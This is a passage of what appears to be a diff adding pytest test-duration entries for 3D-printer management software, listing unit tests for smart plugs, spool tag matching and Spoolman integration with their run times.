"unit/services/test_smart_plug_manager.py::TestActivePrintGuard::test_temp_based_off_defers_while_printing_even_if_cool": 0.0018605869263410568, + "unit/services/test_smart_plug_manager.py::TestActivePrintGuard::test_temp_based_off_powers_off_when_cool_and_idle": 0.0023981239646673203, + "unit/services/test_smart_plug_manager.py::TestAutoOffPersistent::test_mark_auto_off_executed_one_shot_disables_auto_off": 0.002689340151846409, + "unit/services/test_smart_plug_manager.py::TestAutoOffPersistent::test_mark_auto_off_executed_persistent_keeps_auto_off_enabled": 0.002490697428584099, + "unit/services/test_smart_plug_manager.py::TestAutoOffPersistent::test_persistent_auto_off_full_cycle": 0.0032053273171186447, + "unit/services/test_smart_plug_manager.py::TestGetPlugsForPrinter::test_returns_all_plugs": 0.002126305364072323, + "unit/services/test_smart_plug_manager.py::TestGetPlugsForPrinter::test_returns_empty_list_when_no_plugs": 0.001999327912926674, + "unit/services/test_smart_plug_manager.py::TestGetPlugsForPrinter::test_returns_single_plug_as_list": 0.001689055934548378, + "unit/services/test_smart_plug_manager.py::TestPendingAutoOffPersistence::test_resume_pending_auto_off_skipped_when_printing": 0.0045917462557554245, + "unit/services/test_smart_plug_manager.py::TestPendingAutoOffPersistence::test_resume_pending_auto_offs_temperature_mode": 0.0024666031822562218, + "unit/services/test_smart_plug_manager.py::TestPendingAutoOffPersistence::test_resume_pending_auto_offs_time_mode_immediate_off": 0.0030493149533867836, + "unit/services/test_smart_plug_manager.py::TestScheduleLoop::test_check_schedules_skipped_when_disabled": 0.002694140188395977, + "unit/services/test_smart_plug_manager.py::TestScheduleLoop::test_check_schedules_turns_off_at_scheduled_time": 0.003249058499932289, + "unit/services/test_smart_plug_manager.py::TestScheduleLoop::test_check_schedules_turns_on_at_scheduled_time": 0.002979225479066372, + "unit/services/test_smart_plug_manager.py::TestSmartPlugManager::test_cancel_all_pending": 0.002258271910250187, + "unit/services/test_smart_plug_manager.py::TestSmartPlugManager::test_cancel_pending_off_handles_missing_task": 0.0019086170941591263, + "unit/services/test_smart_plug_manager.py::TestSmartPlugManager::test_cancel_pending_off_removes_task": 0.0019292859360575676, + "unit/services/test_smart_plug_manager.py::TestSmartPlugManager::test_on_drying_complete_no_op_when_no_plugs": 0.001862870529294014, + "unit/services/test_smart_plug_manager.py::TestSmartPlugManager::test_on_drying_complete_schedules_delayed_off_when_enabled": 0.004900303669273853, + "unit/services/test_smart_plug_manager.py::TestSmartPlugManager::test_on_drying_complete_skipped_for_ha_script_entity": 0.0017367955297231674, + "unit/services/test_smart_plug_manager.py::TestSmartPlugManager::test_on_drying_complete_skipped_when_plug_disabled": 0.0017459625378251076, + "unit/services/test_smart_plug_manager.py::TestSmartPlugManager::test_on_drying_complete_skipped_when_toggle_off": 0.0018158843740820885, + "unit/services/test_smart_plug_manager.py::TestSmartPlugManager::test_on_print_complete_schedules_temp_based_off": 0.0028563430532813072, + "unit/services/test_smart_plug_manager.py::TestSmartPlugManager::test_on_print_complete_schedules_time_based_off": 0.0026136888191103935, + "unit/services/test_smart_plug_manager.py::TestSmartPlugManager::test_on_print_complete_skipped_on_aborted_print": 0.0017845062538981438, + "unit/services/test_smart_plug_manager.py::TestSmartPlugManager::test_on_print_complete_skipped_on_failed_print": 0.001807146705687046, + "unit/services/test_smart_plug_manager.py::TestSmartPlugManager::test_on_print_complete_skipped_when_auto_off_disabled": 0.002135912887752056, + "unit/services/test_smart_plug_manager.py::TestSmartPlugManager::test_on_print_complete_skipped_when_plug_disabled": 0.0020949682220816612, + "unit/services/test_smart_plug_manager.py::TestSmartPlugManager::test_on_print_start_cancels_pending_off": 0.002629108726978302, + "unit/services/test_smart_plug_manager.py::TestSmartPlugManager::test_on_print_start_resets_auto_off_executed_flag": 0.002043559215962887, + "unit/services/test_smart_plug_manager.py::TestSmartPlugManager::test_on_print_start_skipped_when_auto_on_disabled": 0.0025710398331284523, + "unit/services/test_smart_plug_manager.py::TestSmartPlugManager::test_on_print_start_skipped_when_no_plug_found": 0.0017736246809363365, + "unit/services/test_smart_plug_manager.py::TestSmartPlugManager::test_on_print_start_skipped_when_plug_disabled": 0.0019379016011953354, + "unit/services/test_smart_plug_manager.py::TestSmartPlugManager::test_on_print_start_turns_on_plug": 0.002691853791475296, + "unit/services/test_smart_plug_manager.py::TestSmartPlugManager::test_start_scheduler": 0.0013477066531777382, + "unit/services/test_smart_plug_manager.py::TestSmartPlugManager::test_start_scheduler_idempotent": 0.001316397450864315, + "unit/services/test_smart_plug_manager.py::TestSmartPlugManager::test_stop_scheduler": 0.0012654820457100868, + "unit/services/test_smart_plug_manager.py::TestSmartPlugManager::test_stop_scheduler_cancels_snapshot_task": 0.0015152506530284882, + "unit/services/test_spool_assignment_notifications.py::test_a_row_in_the_inactive_modes_table_does_not_vouch_for_a_tray": 0.0022655064240098, + "unit/services/test_spool_assignment_notifications.py::test_built_in_mode_reads_the_built_in_table": 0.002314717508852482, + "unit/services/test_spool_assignment_notifications.py::test_missing_assignment_broadcasts_websocket_event_and_push_notification": 0.0028311358764767647, + "unit/services/test_spool_assignment_notifications.py::test_spoolman_only_assignment_suppresses_notification": 0.002322101965546608, + "unit/services/test_spool_assignment_notifications.py::test_spoolman_partial_coverage_flags_only_uncovered_tray": 0.002235639840364456, + "unit/services/test_spool_tag_matcher.py::test_auto_assign_creates_assignment": 0.19259487930685282, + "unit/services/test_spool_tag_matcher.py::test_auto_assign_inserts_slot_preset_when_absent": 0.18566178437322378, + "unit/services/test_spool_tag_matcher.py::test_auto_assign_kprofile_takes_priority_over_live_cali_idx": 0.18230921123176813, + "unit/services/test_spool_tag_matcher.py::test_auto_assign_local_preset_uses_local_prefix": 0.1835590247064829, + "unit/services/test_spool_tag_matcher.py::test_auto_assign_negative_live_cali_idx_not_sent": 0.18576231505721807, + "unit/services/test_spool_tag_matcher.py::test_auto_assign_no_greenlet_error_existing_spool": 0.204061983153224, + "unit/services/test_spool_tag_matcher.py::test_auto_assign_no_greenlet_error_new_spool": 0.1831058645620942, + "unit/services/test_spool_tag_matcher.py::test_auto_assign_no_kprofile_no_live_cali_idx_nothing_sent": 0.18492958135902882, + "unit/services/test_spool_tag_matcher.py::test_auto_assign_no_kprofile_uses_live_cali_idx": 0.19297857955098152, + "unit/services/test_spool_tag_matcher.py::test_auto_assign_overwrites_stale_slot_preset_mapping": 0.18139245361089706, + "unit/services/test_spool_tag_matcher.py::test_auto_assign_replaces_existing": 0.19602445885539055, + "unit/services/test_spool_tag_matcher.py::test_color_name_falls_back_to_readable_tray_id_name": 0.17856314033269882, + "unit/services/test_spool_tag_matcher.py::test_color_name_is_none_when_catalog_miss_and_code_unreadable": 0.18850322999060154, + "unit/services/test_spool_tag_matcher.py::test_color_resolves_from_catalog_not_suffix_fallback": 0.17835555039346218, + "unit/services/test_spool_tag_matcher.py::test_core_weight_falls_back_on_empty_catalog": 0.183992438018322, + "unit/services/test_spool_tag_matcher.py::test_core_weight_falls_back_to_default_when_row_is_missing": 0.1810853574424982, + "unit/services/test_spool_tag_matcher.py::test_core_weight_honours_a_user_edited_catalog_row": 0.18942467588931322, + "unit/services/test_spool_tag_matcher.py::test_core_weight_is_deterministic_when_the_name_is_duplicated": 0.18285712879151106, + "unit/services/test_spool_tag_matcher.py::test_core_weight_matches_low_temp_row_not_first_bambu_row": 0.17672736011445522, + "unit/services/test_spool_tag_matcher.py::test_core_weight_matches_the_row_name_case_insensitively": 0.1829970506951213, + "unit/services/test_spool_tag_matcher.py::test_core_weight_records_the_catalog_row_it_used": 0.18027693312615156, + "unit/services/test_spool_tag_matcher.py::test_create_spool_dual_color_from_tray_id_name": 0.18319296836853027, + "unit/services/test_spool_tag_matcher.py::test_create_spool_from_tray_basic": 0.18195905722677708, + "unit/services/test_spool_tag_matcher.py::test_create_spool_from_tray_leaves_a_plain_subtype_alone": 0.18395955581218004, + "unit/services/test_spool_tag_matcher.py::test_create_spool_from_tray_prefers_the_catalogue_row_over_the_subtype": 0.1845909096300602, + "unit/services/test_spool_tag_matcher.py::test_create_spool_from_tray_reads_a_gradient_roll_as_a_gradient": 0.1828534621745348, + "unit/services/test_spool_tag_matcher.py::test_create_spool_from_tray_reads_silk_plus_as_silk": 0.18282992765307426, + "unit/services/test_spool_tag_matcher.py::test_create_spool_from_tray_relationships_loaded": 0.17980181146413088, + "unit/services/test_spool_tag_matcher.py::test_create_spool_from_tray_takes_effect_from_subtype": 0.18326032534241676, + "unit/services/test_spool_tag_matcher.py::test_create_spool_from_tray_weight_from_remain": 0.18038553651422262, + "unit/services/test_spool_tag_matcher.py::test_create_spool_gradient_from_tray_id_name": 0.17924166191369295, + "unit/services/test_spool_tag_matcher.py::test_create_spool_silk_plus_subtype": 0.18019671272486448, + "unit/services/test_spool_tag_matcher.py::test_create_spool_standard_not_affected": 0.17910380382090807, + "unit/services/test_spool_tag_matcher.py::test_create_spool_tri_color_from_tray_id_name": 0.1821652241051197, + "unit/services/test_spool_tag_matcher.py::test_find_matching_untagged_gradient_no_match_basic": 0.17906868737190962, + "unit/services/test_spool_tag_matcher.py::test_find_matching_untagged_gradient_spool": 0.20416909363120794, + "unit/services/test_spool_tag_matcher.py::test_find_matching_untagged_spool_accepts_bambu_brand_variants": 0.2034751335158944, + "unit/services/test_spool_tag_matcher.py::test_find_matching_untagged_spool_accepts_null_brand": 0.1807036828249693, + "unit/services/test_spool_tag_matcher.py::test_find_matching_untagged_spool_case_insensitive": 0.18874231167137623, + "unit/services/test_spool_tag_matcher.py::test_find_matching_untagged_spool_exact_match": 0.19252225384116173, + "unit/services/test_spool_tag_matcher.py::test_find_matching_untagged_spool_fifo": 0.2350745890289545, + "unit/services/test_spool_tag_matcher.py::test_find_matching_untagged_spool_no_subtype": 0.1896744854748249, + "unit/services/test_spool_tag_matcher.py::test_find_matching_untagged_spool_null_subtype_fallback": 0.19409596547484398, + "unit/services/test_spool_tag_matcher.py::test_find_matching_untagged_spool_null_subtype_with_null_brand": 0.18513021897524595, + "unit/services/test_spool_tag_matcher.py::test_find_matching_untagged_spool_prefers_exact_subtype_over_null": 0.23758213128894567, + "unit/services/test_spool_tag_matcher.py::test_find_matching_untagged_spool_rejects_non_bambu_brand": 0.1806414658203721, + "unit/services/test_spool_tag_matcher.py::test_find_matching_untagged_spool_relationships_loaded": 0.18545536044985056, + "unit/services/test_spool_tag_matcher.py::test_find_matching_untagged_spool_skips_archived": 0.18216232769191265, + "unit/services/test_spool_tag_matcher.py::test_find_matching_untagged_spool_skips_tagged": 0.17797253374010324, + "unit/services/test_spool_tag_matcher.py::test_find_matching_untagged_spool_skips_uuid_tagged": 0.18605993036180735, + "unit/services/test_spool_tag_matcher.py::test_find_matching_untagged_spool_wrong_color": 0.20032010972499847, + "unit/services/test_spool_tag_matcher.py::test_find_matching_untagged_spool_wrong_material": 0.1941266218200326, + "unit/services/test_spool_tag_matcher.py::test_find_matching_untagged_spool_wrong_subtype": 0.18018581345677376, + "unit/services/test_spool_tag_matcher.py::test_get_spool_by_tag_by_uid": 0.1822703992947936, + "unit/services/test_spool_tag_matcher.py::test_get_spool_by_tag_by_uuid": 0.18273982778191566, + "unit/services/test_spool_tag_matcher.py::test_get_spool_by_tag_first_char_variance_same_length": 0.19834535848349333, + "unit/services/test_spool_tag_matcher.py::test_get_spool_by_tag_first_char_variance_short_uid": 0.18278966192156076, + "unit/services/test_spool_tag_matcher.py::test_get_spool_by_tag_no_false_positive_different_suffix": 0.18011394701898098, + "unit/services/test_spool_tag_matcher.py::test_get_spool_by_tag_relationships_loaded": 0.190175655297935, + "unit/services/test_spool_tag_matcher.py::test_get_spool_by_tag_returns_none_for_zeros": 0.19330373778939247, + "unit/services/test_spool_tag_matcher.py::test_get_spool_by_tag_short_uid_exact_match_preferred": 0.2001664824783802, + "unit/services/test_spool_tag_matcher.py::test_get_spool_by_tag_skips_archived": 0.18708800710737705, + "unit/services/test_spool_tag_matcher.py::test_is_bambu_tag_uid_only_no_preset": 0.0009229090064764023, + "unit/services/test_spool_tag_matcher.py::test_is_bambu_tag_with_uid_and_preset": 0.0009245835244655609, + "unit/services/test_spool_tag_matcher.py::test_is_bambu_tag_with_uuid": 0.0009206449612975121, + "unit/services/test_spool_tag_matcher.py::test_is_valid_tag_all_zeros": 0.0009398814290761948, + "unit/services/test_spool_tag_matcher.py::test_is_valid_tag_empty": 0.0009365957230329514, + "unit/services/test_spool_tag_matcher.py::test_is_valid_tag_with_real_uid": 0.0009751087054610252, + "unit/services/test_spool_tag_matcher.py::test_is_valid_tag_with_real_uuid": 0.0009338101372122765, + "unit/services/test_spool_tag_matcher.py::test_ivory_white_pla_matte_resolves_to_ivory_not_jade": 0.18078921176493168, + "unit/services/test_spool_tag_matcher.py::test_jade_white_pla_basic_still_resolves_correctly": 0.1805808236822486, + "unit/services/test_spool_tag_matcher.py::test_link_tag_preserves_existing_slicer_filament": 0.17556195612996817, + "unit/services/test_spool_tag_matcher.py::test_link_tag_to_inventory_spool": 0.19288296159356833, + "unit/services/test_spool_tag_matcher.py::test_pla_silk_white_resolves_to_white_not_jade": 0.18678757548332214, + "unit/services/test_spool_tag_matcher.py::test_unknown_material_falls_back_to_hex_only_lookup": 0.1817863816395402, + "unit/services/test_spoolman_extra_field_registration_2903.py::TestEveryWritePathThatCarriesExtra::test_a_key_no_registration_list_ever_named": 0.00651432853192091, + "unit/services/test_spoolman_extra_field_registration_2903.py::TestEveryWritePathThatCarriesExtra::test_every_key_of_a_multi_key_write": 0.002064990811049938, + "unit/services/test_spoolman_extra_field_registration_2903.py::TestEveryWritePathThatCarriesExtra::test_merge_spool_extra": 0.0019364096224308014, + "unit/services/test_spoolman_extra_field_registration_2903.py::TestEveryWritePathThatCarriesExtra::test_update_spool": 0.0018715662881731987, + "unit/services/test_spoolman_extra_field_registration_2903.py::TestEveryWritePathThatCarriesExtra::test_update_spool_full": 0.0018278742209076881, + "unit/services/test_spoolman_extra_field_registration_2903.py::TestItAsksSpoolmanOnlyOnce::test_a_second_write_does_not_ask_again": 0.002076912671327591, + "unit/services/test_spoolman_extra_field_registration_2903.py::TestItAsksSpoolmanOnlyOnce::test_a_write_carrying_no_extra_asks_nothing": 0.001524859108030796, + "unit/services/test_spoolman_extra_field_registration_2903.py::TestItAsksSpoolmanOnlyOnce::test_an_already_registered_field_is_never_created": 0.001681382767856121, + "unit/services/test_spoolman_extra_field_registration_2903.py::TestItAsksSpoolmanOnlyOnce::test_another_client_does_not_inherit_the_answer": 0.0021600471809506416, + "unit/services/test_spoolman_extra_field_registration_2903.py::TestItAsksSpoolmanOnlyOnce::test_concurrent_syncs_ask_exactly_once_between_them": 0.0019582314416766167, + "unit/services/test_spoolman_extra_field_registration_2903.py::TestTheReportedCase::test_all_three_slots_sync_rather_than_erroring": 0.00413112249225378, + "unit/services/test_spoolman_extra_field_registration_2903.py::TestTheReportedCase::test_syncing_a_slot_no_longer_fails_on_a_fresh_spoolman": 0.0034950217232108116, + "unit/services/test_spoolman_extra_field_registration_2903.py::TestTheReportedCase::test_the_field_is_registered_before_the_spool_is_posted": 0.001963108777999878, + "unit/services/test_spoolman_extra_field_registration_2903.py::TestWhenRegistrationItselfFails::test_a_later_write_tries_registering_again": 0.0019967621192336082, + "unit/services/test_spoolman_extra_field_registration_2903.py::TestWhenRegistrationItselfFails::test_the_write_is_still_attempted": 0.0016741780564188957, + "unit/services/test_spoolman_extra_field_registration_2983.py::TestDegradingWhenTheListingCannotBeRead::test_a_field_created_blind_is_not_looked_up_again": 0.0022213440388441086, + "unit/services/test_spoolman_extra_field_registration_2983.py::TestDegradingWhenTheListingCannotBeRead::test_a_later_field_still_gets_a_listing_read": 0.002089056186378002, + "unit/services/test_spoolman_extra_field_registration_2983.py::TestDegradingWhenTheListingCannotBeRead::test_a_listing_that_is_not_a_list_falls_back_to_posting": 0.002028973773121834, + "unit/services/test_spoolman_extra_field_registration_2983.py::TestDegradingWhenTheListingCannotBeRead::test_a_non_200_listing_falls_back_to_posting": 0.0020300140604376793, + "unit/services/test_spoolman_extra_field_registration_2983.py::TestDegradingWhenTheListingCannotBeRead::test_a_transport_error_on_the_listing_falls_back_to_posting": 0.001843135803937912, + "unit/services/test_spoolman_extra_field_registration_2983.py::TestDegradingWhenTheListingCannotBeRead::test_rows_without_a_usable_key_are_skipped_not_fatal": 0.0017165159806609154, + "unit/services/test_spoolman_extra_field_registration_2983.py::TestFailureReporting::test_a_rejected_creation_is_not_remembered_as_ensured": 0.0017867488786578178, + "unit/services/test_spoolman_extra_field_registration_2983.py::TestFailureReporting::test_a_rejected_creation_returns_false": 0.002001892775297165, + "unit/services/test_spoolman_extra_field_registration_2983.py::TestFailureReporting::test_ensure_tag_extra_field_goes_through_the_same_path": 0.0017555588856339455, + "unit/services/test_spoolman_extra_field_registration_2983.py::TestRequestCount::test_a_second_pass_on_the_same_client_makes_no_requests": 0.0018489053472876549, + "unit/services/test_spoolman_extra_field_registration_2983.py::TestRequestCount::test_creating_several_new_fields_still_reads_the_listing_once": 0.00196742732077837, + "unit/services/test_spoolman_extra_field_registration_2983.py::TestRequestCount::test_registering_every_field_costs_one_listing_read": 0.0019305292516946793, + "unit/services/test_spoolman_extra_field_registration_2983.py::TestTheExistenceCheck::test_a_missing_field_is_created": 0.0022127674892544746, + "unit/services/test_spoolman_extra_field_registration_2983.py::TestTheExistenceCheck::test_an_existing_field_is_never_posted": 0.001677112653851509, + "unit/services/test_spoolman_extra_field_registration_2983.py::TestTheExistenceCheck::test_creates_every_field_when_spoolman_has_none": 0.0021932199597358704, + "unit/services/test_spoolman_extra_field_registration_2983.py::TestTheExistenceCheck::test_honours_a_non_default_field_type_when_creating": 0.001874823123216629, + "unit/services/test_spoolman_extra_field_registration_2983.py::TestTheExistenceCheck::test_matches_on_key_not_on_the_user_facing_name": 0.5463663842529058, + "unit/services/test_spoolman_extra_field_registration_2983.py::TestTheExistenceCheck::test_reads_the_listing_endpoint_not_the_per_field_one": 0.0017344504594802856, + "unit/services/test_spoolman_print_cost_2591.py::TestPrintCostAccumulator::test_an_unpriced_spool_is_counted_but_not_charged": 0.0010274667292833328, + "unit/services/test_spoolman_print_cost_2591.py::TestPrintCostAccumulator::test_sums_each_slot_at_its_own_rate": 0.0010424526408314705, + "unit/services/test_spoolman_print_cost_2591.py::TestPrintCostAccumulator::test_zero_grams_is_not_a_slot": 0.0010182177647948265, + "unit/services/test_spoolman_print_cost_2591.py::TestReportUsagePricesTheArchive::test_a_reprint_does_not_overwrite_the_first_runs_cost": 0.003970140591263771, + "unit/services/test_spoolman_print_cost_2591.py::TestReportUsagePricesTheArchive::test_a_spool_with_no_price_leaves_the_archive_alone": 0.0035374118015170097, + "unit/services/test_spoolman_print_cost_2591.py::TestReportUsagePricesTheArchive::test_grams_no_spool_could_price_fall_back_to_the_default_rate": 0.006063362583518028, + "unit/services/test_spoolman_print_cost_2591.py::TestReportUsagePricesTheArchive::test_multi_material_bills_each_slot_at_its_own_price": 0.004261195659637451, + "unit/services/test_spoolman_print_cost_2591.py::TestReportUsagePricesTheArchive::test_the_linked_spools_price_replaces_the_default": 0.006361563690006733, + "unit/services/test_spoolman_print_cost_2591.py::TestSpoolCostPerGram::test_a_zero_spool_override_falls_through_to_the_catalogue": 0.00100800022482872, + "unit/services/test_spoolman_print_cost_2591.py::TestSpoolCostPerGram::test_says_nothing_rather_than_guessing[None]": 0.0010342085734009743, + "unit/services/test_spoolman_print_cost_2591.py::TestSpoolCostPerGram::test_says_nothing_rather_than_guessing[spool0]": 0.0010482734069228172, + "unit/services/test_spoolman_print_cost_2591.py::TestSpoolCostPerGram::test_says_nothing_rather_than_guessing[spool1]": 0.0010410891845822334, + "unit/services/test_spoolman_print_cost_2591.py::TestSpoolCostPerGram::test_says_nothing_rather_than_guessing[spool2]": 0.0010323738679289818, + "unit/services/test_spoolman_print_cost_2591.py::TestSpoolCostPerGram::test_says_nothing_rather_than_guessing[spool3]": 0.0010433150455355644, + "unit/services/test_spoolman_print_cost_2591.py::TestSpoolCostPerGram::test_says_nothing_rather_than_guessing[spool4]": 0.0010326849296689034, + "unit/services/test_spoolman_print_cost_2591.py::TestSpoolCostPerGram::test_says_nothing_rather_than_guessing[spool5]": 0.0013425173237919807, + "unit/services/test_spoolman_print_cost_2591.py::TestSpoolCostPerGram::test_says_nothing_rather_than_guessing[spool6]": 0.001061558723449707, + "unit/services/test_spoolman_print_cost_2591.py::TestSpoolCostPerGram::test_says_nothing_rather_than_guessing[spool7]": 0.0010721087455749512, + "unit/services/test_spoolman_print_cost_2591.py::TestSpoolCostPerGram::test_says_nothing_rather_than_guessing[spool8]": 0.001040872186422348, + "unit/services/test_spoolman_print_cost_2591.py::TestSpoolCostPerGram::test_the_spools_own_price_overrides_the_filaments": 0.0010281074792146683, + "unit/services/test_spoolman_print_cost_2591.py::TestSpoolCostPerGram::test_uses_the_filament_catalogue_price": 0.001047384925186634, + "unit/services/test_spoolman_print_cost_2591.py::TestSpoolCostPerGram::test_weight_is_net_filament_grams_not_a_fixed_kilo": 0.0010078288614749908, + "unit/services/test_spoolman_service.py::TestColorHexAlphaHandling::test_black_tray_does_not_attach_to_a_clear_filament": 0.001660650596022606, + "unit/services/test_spoolman_service.py::TestColorHexAlphaHandling::test_clear_tray_creates_a_translucent_filament": 0.0016941661015152931, + "unit/services/test_spoolman_service.py::TestColorHexAlphaHandling::test_clear_tray_does_not_attach_to_the_black_filament": 0.001877177506685257, + "unit/services/test_spoolman_service.py::TestColorHexAlphaHandling::test_clear_tray_does_not_take_a_same_rgb_external_entry": 0.0016583297401666641, + "unit/services/test_spoolman_service.py::TestColorHexAlphaHandling::test_create_filament_keeps_an_opaque_spool_at_six": 0.0016829539090394974, + "unit/services/test_spoolman_service.py::TestColorHexAlphaHandling::test_create_filament_stores_alpha_for_a_translucent_spool": 0.001684136688709259, + "unit/services/test_spoolman_service.py::TestColorHexAlphaHandling::test_find_or_create_filament_creates_a_clear_filament_with_its_alpha": 0.0016091559082269669, + "unit/services/test_spoolman_service.py::TestColorHexAlphaHandling::test_find_or_create_filament_matches_an_existing_six_char_filament": 0.0015816641971468925, + "unit/services/test_spoolman_service.py::TestColorHexAlphaHandling::test_opaque_tray_still_matches_an_existing_six_char_filament": 0.001648799516260624, + "unit/services/test_spoolman_service.py::TestFindOrCreateFilament::test_accepts_external_entry_via_id_prefix_when_manufacturer_missing": 0.0017319144681096077, + "unit/services/test_spoolman_service.py::TestFindOrCreateFilament::test_external_density_propagates_to_create_filament": 0.001950184814631939, + "unit/services/test_spoolman_service.py::TestFindOrCreateFilament::test_falls_back_to_create_when_no_bambu_match_anywhere": 0.001672845333814621, + "unit/services/test_spoolman_service.py::TestFindOrCreateFilament::test_prefers_external_entry_matching_tray_sub_brands": 0.0016994839534163475, + "unit/services/test_spoolman_service.py::TestFindOrCreateFilament::test_returns_existing_internal_bambu_lab_filament": 0.0016883155331015587, + "unit/services/test_spoolman_service.py::TestFindOrCreateFilament::test_skips_non_bambu_lab_external_entries": 0.0019129570573568344, + "unit/services/test_spoolman_service.py::TestInitSpoolmanClientSSRFGuard::test_cloud_metadata_raises_value_error": 0.0013879919424653053, + "unit/services/test_spoolman_service.py::TestInitSpoolmanClientSSRFGuard::test_localhost_hostname_is_allowed": 0.0014833109453320503, + "unit/services/test_spoolman_service.py::TestInitSpoolmanClientSSRFGuard::test_loopback_ip_is_allowed": 0.0014901850372552872, + "unit/services/test_spoolman_service.py::TestInitSpoolmanClientSSRFGuard::test_multicast_raises_value_error": 0.0015834784135222435, + "unit/services/test_spoolman_service.py::TestInitSpoolmanClientSSRFGuard::test_non_http_scheme_raises_value_error": 0.001328989863395691, + "unit/services/test_spoolman_service.py::TestInitSpoolmanClientSSRFGuard::test_numeric_encoded_ip_raises_value_error": 0.0013150554150342941, + "unit/services/test_spoolman_service.py::TestInitSpoolmanClientSSRFGuard::test_private_ip_is_allowed": 0.0015022652223706245, + "unit/services/test_spoolman_service.py::TestInitSpoolmanClientSSRFGuard::test_public_url_is_allowed": 0.0014905044808983803, + "unit/services/test_spoolman_service.py::TestInitSpoolmanClientSSRFGuard::test_unspecified_raises_value_error": 0.0013151438906788826, + "unit/services/test_spoolman_service.py::TestIsBambuLabSpool::test_empty_identifiers_returns_false": 0.0010323338210582733, + "unit/services/test_spoolman_service.py::TestIsBambuLabSpool::test_non_hex_tray_uuid_returns_false": 0.001055457629263401, + "unit/services/test_spoolman_service.py::TestIsBambuLabSpool::test_short_tray_uuid_returns_false": 0.0010646246373653412, + "unit/services/test_spoolman_service.py::TestIsBambuLabSpool::test_tray_info_idx_ignored": 0.001548832282423973, + "unit/services/test_spoolman_service.py::TestIsBambuLabSpool::test_tray_info_idx_with_valid_uuid_returns_true": 0.0010573798790574074, + "unit/services/test_spoolman_service.py::TestIsBambuLabSpool::test_tray_uuid_preferred_over_tag_uid": 0.0010356903076171875, + "unit/services/test_spoolman_service.py::TestIsBambuLabSpool::test_valid_tag_uid_returns_true": 0.0010317722335457802, + "unit/services/test_spoolman_service.py::TestIsBambuLabSpool::test_valid_tray_uuid_returns_true": 0.0010915165767073631, + "unit/services/test_spoolman_service.py::TestIsBambuLabSpool::test_zero_tag_uid_returns_false": 0.0010407110676169395, + "unit/services/test_spoolman_service.py::TestIsBambuLabSpool::test_zero_tray_uuid_returns_false": 0.0010684812441468239, + "unit/services/test_spoolman_service.py::TestSpoolmanClient::test_clear_location_for_removed_spools_with_cached_spools": 0.0015701623633503914, + "unit/services/test_spoolman_service.py::TestSpoolmanClient::test_find_spool_by_tag_with_cached_spools": 0.0014294898137450218, + "unit/services/test_spoolman_service.py::TestSpoolmanClient::test_find_spool_by_tag_without_cached_spools": 0.0014426345005631447, + "unit/services/test_spoolman_service.py::TestSpoolmanClient::test_find_spools_by_location_prefix_with_cached_spools": 0.001407749019563198, + "unit/services/test_spoolman_service.py::TestSpoolmanClient::test_get_spools_handles_non_connection_errors": 0.002011120319366455, + "unit/services/test_spoolman_service.py::TestSpoolmanClient::test_get_spools_raises_after_3_failed_attempts": 0.0020710211247205734, + "unit/services/test_spoolman_service.py::TestSpoolmanClient::test_get_spools_retries_on_connection_error": 0.0023936964571475983, + "unit/services/test_spoolman_service.py::TestSpoolmanClient::test_get_spools_succeeds_on_first_attempt": 0.0016671642661094666, + "unit/services/test_spoolman_service.py::TestSpoolmanClient::test_sync_ams_tray_does_not_write_location": 0.0018461309373378754, + "unit/services/test_spoolman_service.py::TestSpoolmanClient::test_sync_ams_tray_hint_uncached_calls_get_spool": 0.0015900097787380219, + "unit/services/test_spoolman_service.py::TestSpoolmanClient::test_sync_ams_tray_hint_updates_spool_without_rfid": 0.0014710379764437675, + "unit/services/test_spoolman_service.py::TestSpoolmanClient::test_sync_ams_tray_new_spool_always_includes_weight": 0.0017025414854288101, + "unit/services/test_spoolman_service.py::TestSpoolmanClient::test_sync_ams_tray_non_bambu_no_rfid_returns_none": 0.0013809464871883392, + "unit/services/test_spoolman_service.py::TestSpoolmanClient::test_sync_ams_tray_non_bl_rfid_find_or_create_error_returns_none": 0.0016054389998316765, + "unit/services/test_spoolman_service.py::TestSpoolmanClient::test_sync_ams_tray_rfid_takes_precedence_over_hint": 0.0016566449776291847, + "unit/services/test_spoolman_service.py::TestSpoolmanClient::test_sync_ams_tray_skips_weight_when_disabled": 0.001656857319176197, + "unit/services/test_spoolman_service.py::TestSpoolmanClient::test_sync_ams_tray_updates_weight_by_default": 0.0016902768984436989, + "unit/services/test_spoolman_service.py::TestSpoolmanClient::test_sync_ams_tray_weight_calculation": 0.0026665274053812027, + "unit/services/test_spoolman_service.py::TestSpoolmanClient::test_sync_ams_tray_with_cached_spools": 0.0015998883172869682, + "unit/services/test_spoolman_slot_mapping_fallback.py::TestReportUsageUsesTheFallback::test_a_stored_mapping_is_never_second_guessed": 0.0033235587179660797, + "unit/services/test_spoolman_slot_mapping_fallback.py::TestReportUsageUsesTheFallback::test_mqtt_mapping_charges_the_tray_the_printer_named": 0.005245130509138107, + "unit/services/test_spoolman_slot_mapping_fallback.py::TestResolveSlotToTrayFallback::test_colour_matches_when_the_printer_publishes_no_mapping": 0.0015140585601329803, + "unit/services/test_spoolman_slot_mapping_fallback.py::TestResolveSlotToTrayFallback::test_decodes_the_printers_own_mapping_field": 0.0012244656682014465, + "unit/services/test_spoolman_slot_mapping_fallback.py::TestResolveSlotToTrayFallback::test_mapping_field_wins_over_colour_matching": 0.0011890288442373276, + "unit/services/test_spoolman_slot_mapping_fallback.py::TestResolveSlotToTrayFallback::test_reports_none_when_neither_fallback_answers": 0.0012286948040127754, + "unit/services/test_spoolman_slot_mapping_fallback.py::TestResolveSlotToTrayFallback::test_reports_none_when_the_printer_is_offline": 0.001177927479147911, + "unit/services/test_spoolman_tracking.py::TestApplySpoolColorsToArchive::test_empty_slot_colors_is_noop": 0.0016830852255225182, + "unit/services/test_spoolman_tracking.py::TestApplySpoolColorsToArchive::test_missing_archive_does_not_crash": 0.0023348862305283546, + "unit/services/test_spoolman_tracking.py::TestApplySpoolColorsToArchive::test_partial_match_leaves_archive_untouched": 0.001988787204027176, + "unit/services/test_spoolman_tracking.py::TestApplySpoolColorsToArchive::test_rewrites_color_from_spoolman_spool": 0.0019575683400034904, + "unit/services/test_spoolman_tracking.py::TestBuildAmsTrayLookup::test_empty_external_spool_skipped": 0.0010435553267598152, + "unit/services/test_spoolman_tracking.py::TestBuildAmsTrayLookup::test_external_spool": 0.0010460512712597847, + "unit/services/test_spoolman_tracking.py::TestBuildAmsTrayLookup::test_missing_fields_default": 0.0010494962334632874, + "unit/services/test_spoolman_tracking.py::TestBuildAmsTrayLookup::test_multiple_ams_units": 0.001041419804096222, + 